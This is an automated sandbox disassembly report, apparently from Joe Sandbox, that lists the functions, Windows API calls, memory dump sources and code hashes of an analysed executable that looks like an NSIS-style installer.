Function 00406024 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\Ms63nDrOBa.exe,80000000,00000003), ref: 00406028
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040604A

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Function 00405FFF Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C04,?,?,00000000,00405DDA,?,?,?,?), ref: 00406004
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406018

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: b044de85d095277e3e8e37393dee7a1aab5cccde4b3e14dcc7f467a135196144
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: C7D0C972505220AFC2103B28EE0889BBB55DB54271B028A35FCA9A22B0CB304C669A94

Function 00403B2C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00403A5F,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403B37

Strings

C:\Users\user\AppData\Local\Temp\nse5B61.tmp\, xrefs: 00403B4B

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nse5B61.tmp\
API String ID: 2962429428-1087048941
Opcode ID: 75b6059274c34f4acd1c30ca659bcafdfbceb07ace89e443466d463c647567ff
Instruction ID: 56a8d231df6e1f4919b80352f74fca15e45824bb5242f2e67795a820b0309f86
Opcode Fuzzy Hash: 75b6059274c34f4acd1c30ca659bcafdfbceb07ace89e443466d463c647567ff
Instruction Fuzzy Hash: C9C0123054470496D5247F799D4FE453A249740739B908325B2B9B40F2C73C5659596D

Function 00405AE2 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403502,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00405AE8
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405AF6

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 7753466ba62b5dbc1ec3a25bc90d7dba0bbd887294648da7d021985784af3e89
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 9FC04C70308906DAD6505B619F4871B7950AB50741F154939A986E50E0DA748495EE2D

Function 004060D6 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040347A,00000000,00793700,000000FF,00793700,000000FF,000000FF,00000004,00000000), ref: 004060EA

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: b33f9baa58445403e377b25cdb553cbb5220209f8a97e81f67fdd09438c35695
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: 80E08C3225021ABBDF109F54CC00EEB3B6CEB043A0F018437F916E2060D670E930A7A8

Function 004060A7 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034C4,00000000,00000000,0040330B,000000FF,00000004,00000000,00000000,00000000), ref: 004060BB

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: 39ae2bf48dd7ef05cc95990c5189398c44bf694af0d2be0d7958e68ccb6b0415
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 54E08C3226126AABCF10DF508C00EEB3BACEF043A0F014432F912E3080DA30E92197A9

Function 004062F4 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

MoveFileExW.KERNELBASE(?,?,00000005,00405DF2,?,00000000,000000F1,?,?,?,?,?), ref: 004062FE

Part of subcall function 0040617A: CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406315,?,?), ref: 004061B5
Part of subcall function 0040617A: GetShortPathNameW.KERNEL32(?,007A4DE8,00000400), ref: 004061BE
Part of subcall function 0040617A: GetShortPathNameW.KERNEL32(?,007A55E8,00000400), ref: 004061DB
Part of subcall function 0040617A: wsprintfA.USER32 ref: 004061F9
Part of subcall function 0040617A: GetFileSize.KERNEL32(00000000,00000000,007A55E8,C0000000,00000004,007A55E8,?,?,?,?,?), ref: 00406234
Part of subcall function 0040617A: GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406243
Part of subcall function 0040617A: lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040627B
Part of subcall function 0040617A: SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,007A49E8,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062D1

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: File$NamePathShort$AllocCloseGlobalHandleMovePointerSizelstrcpywsprintf
String ID:
API String ID: 1930046112-0
Opcode ID: 1e4010844bb8ba65faee9067da085bc24f8460d998ee42ad1bb04f80e0c5d623
Instruction ID: 441f6a94ec63c8a803b4d3fb3af655611ae8c98ae086b365179572a1c2ea722f
Opcode Fuzzy Hash: 1e4010844bb8ba65faee9067da085bc24f8460d998ee42ad1bb04f80e0c5d623
Instruction Fuzzy Hash: 03D09E32108601AEDA511B50DD05A1B7FB1BF94355F11C42EF585540B1DB358861DF09

Function 004034C7 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403247,?), ref: 004034D5

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Non-executed Functions

Function 004056F8 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405756
GetDlgItem.USER32(?,000003EE), ref: 00405765
GetClientRect.USER32(?,?), ref: 004057A2
GetSystemMetrics.USER32(00000002), ref: 004057A9
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057CA
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057DB
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057EE
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057FC
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040580F
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405831
ShowWindow.USER32(?,00000008), ref: 00405845
GetDlgItem.USER32(?,000003EC), ref: 00405866
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405876
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040588F
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040589B
GetDlgItem.USER32(?,000003F8), ref: 00405774

Part of subcall function 004044E8: SendMessageW.USER32(00000028,?,00000001,00404313), ref: 004044F6

GetDlgItem.USER32(?,000003EC), ref: 004058B8
CreateThread.KERNEL32(00000000,00000000,Function_0000568C,00000000), ref: 004058C6
CloseHandle.KERNEL32(00000000), ref: 004058CD
ShowWindow.USER32(00000000), ref: 004058F1
ShowWindow.USER32(?,00000008), ref: 004058F6
ShowWindow.USER32(00000008), ref: 00405940
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405974
CreatePopupMenu.USER32 ref: 00405985
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405999
GetWindowRect.USER32(?,?), ref: 004059B9
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059D2
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A0A
OpenClipboard.USER32(00000000), ref: 00405A1A
EmptyClipboard.USER32 ref: 00405A20
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A2C
GlobalLock.KERNEL32(00000000), ref: 00405A36
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A4A
GlobalUnlock.KERNEL32(00000000), ref: 00405A6A
SetClipboardData.USER32(0000000D,00000000), ref: 00405A75
CloseClipboard.USER32 ref: 00405A7B

Strings

{, xrefs: 0040595E

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 17f82a3091fa66928221ea1c6b9dda913e53b80d5dd41b689f6bd494f538d155
Instruction ID: bada4f766a7f909e2fcc31d20e9d53a26b7aeb91fc87c8d9c8de415280c65713
Opcode Fuzzy Hash: 17f82a3091fa66928221ea1c6b9dda913e53b80d5dd41b689f6bd494f538d155
Instruction Fuzzy Hash: 4DB14AB1900608FFDF11AF61DD85AAE7B79FB48354F00813AFA41B61A0CB784A51DF68

Function 004049A4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049F3
SetWindowTextW.USER32(00000000,?), ref: 00404A1D
SHBrowseForFolderW.SHELL32(?), ref: 00404ACE
CoTaskMemFree.OLE32(00000000), ref: 00404AD9
lstrcmpiW.KERNEL32(007A6200,007A1748,00000000,?,?), ref: 00404B0B
lstrcatW.KERNEL32(?,007A6200), ref: 00404B17
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B29

Part of subcall function 00405B78: GetDlgItemTextW.USER32(?,?,00000400,00404B60), ref: 00405B8B

Part of subcall function 004067E2: CharNextW.USER32(?,*?|<>/":,00000000,007B3000,76233420,C:\Users\user\AppData\Local\Temp\,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00406845
Part of subcall function 004067E2: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406854
Part of subcall function 004067E2: CharNextW.USER32(?,007B3000,76233420,C:\Users\user\AppData\Local\Temp\,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00406859
Part of subcall function 004067E2: CharPrevW.USER32(?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 0040686C

GetDiskFreeSpaceW.KERNEL32(0079F718,?,?,0000040F,?,0079F718,0079F718,?,00000001,0079F718,?,?,000003FB,?), ref: 00404BEC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C07

Part of subcall function 00404D60: lstrlenW.KERNEL32(007A1748,007A1748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E01
Part of subcall function 00404D60: wsprintfW.USER32 ref: 00404E0A
Part of subcall function 00404D60: SetDlgItemTextW.USER32(?,007A1748), ref: 00404E1D

Strings

A, xrefs: 00404AC7

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 426e44edd7368518c1c7f183de8445ff04209b3407d9146befa81bf80a1aac5c
Instruction ID: a16cb653eec2d326bc9532795c0b3c746b0ee9de9a15b8a8e70a0412fee6ffe7
Opcode Fuzzy Hash: 426e44edd7368518c1c7f183de8445ff04209b3407d9146befa81bf80a1aac5c
Instruction Fuzzy Hash: F3A194B1900208ABDB119FA6DD85BAF77B8EF84314F11803BF601B62D1D77C9A418B69

Function 004021AF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040222E

Strings

C:\Users\user\AppData\Local\Temp\nse5B61.tmp, xrefs: 0040226E

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp\nse5B61.tmp
API String ID: 542301482-460192656
Opcode ID: dc1c51b489d66c3ae56a3330a78418c281c6f978a235157eafada417e1326d44
Instruction ID: ec9576eb85d19529fc8e70744cd4d9d757721a0e149670041693576dbfb17bce
Opcode Fuzzy Hash: dc1c51b489d66c3ae56a3330a78418c281c6f978a235157eafada417e1326d44
Instruction Fuzzy Hash: 82410575A00209AFCB40DFE4C989EAD7BB5FF48308B20456EF505EB2D1DB799982CB54

Function 00402910 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291F

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: dca364261a257630479412f8d24045f74174dcbea33d49aeb6f7c432ef55f1d3
Instruction ID: a3e640cb8dc0d2d7f963ac08cc51882bce801df3f972718032989310b2356a06
Opcode Fuzzy Hash: dca364261a257630479412f8d24045f74174dcbea33d49aeb6f7c432ef55f1d3
Instruction Fuzzy Hash: 82F05E71904104AAD701EBA4EA499AEB378EF14314F60457BE102F21E0DBB849119B1A

Function 00404F20 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F38
GetDlgItem.USER32(?,00000408), ref: 00404F43
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F8D
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FA4
SetWindowLongW.USER32(?,000000FC,0040552D), ref: 00404FBD
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FD1
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404FE3
SendMessageW.USER32(?,00001109,00000002), ref: 00404FF9
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405017
DeleteObject.GDI32(00000000), ref: 0040501A
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405045
